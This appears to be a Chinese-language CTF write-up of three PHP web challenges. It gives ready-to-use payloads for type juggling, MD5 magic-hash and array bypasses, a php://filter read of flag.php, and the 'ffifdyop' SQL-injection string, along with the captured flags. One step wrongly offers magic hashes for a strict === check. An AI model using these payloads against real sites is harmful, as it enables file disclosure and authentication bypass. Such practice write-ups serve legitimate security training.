[NSSCTF 2022 Spring Recruit]babyphp
- 第一个条件:if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))- 需要POST参数'a'
- 不能包含数字(通过正则检查)
- 但是用intval()转换后必须是非零值
- 绕过方法:可以使用十六进制(如'0xf')或科学计数法(如'1e3')
- 第二个条件:if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))- 需要两个不相等的参数b1和b2
- 它们的MD5值必须完全相等(注意这里用的是===)
- 绕过方法:使用PHP的"魔术哈希",即以'0e'开头后面跟数字的字符串
- 例如:b1=240610708,b2=QNKCDZO
- 第三个条件:if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))- 需要两个不同的字符串参数c1和c2
- 必须是字符串类型
- MD5值必须相等(注意这里用的是==)
- 绕过方法:使用已知的MD5碰撞字符串对
这里b1和b2可以用数组绕过,c1和c2只能用字符串绕过
a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
得到flag
NSSCTF{cd7d09e8-0c25-4d7a-9ce2-dec65b37c139}
[HNCTF 2022 Week1]Interesting_include
让我们知道flag再flag.php中
这段代码是传递一个GET参数filter 然后用来file伪协议,如果不用这个协议就会弹出error什么的
我们废话不多说直接开始
?filter=php://filter/read=convert.base64-encode/resource=flag.php
得到后64加密的去解密
NSSCTF{66ea5feb-bf28-41c7-bfda-67be62ba5654}
[SWPUCTF 2022 新生赛]奇妙的MD5
ffifdyop,根据函数md5加密后,再次转换为字符串时,会变成’or’6 。进入第二关
查看源码
发现了这个可以用数组绕过md5
用GET传参
?x[]=1&y[]=2
接着访问给的URL文件
用数组绕过
wqh[]=1&dsy[]=2
得到flag
NSSCTF{03399675-e857-4330-bfa5-d861069a1959}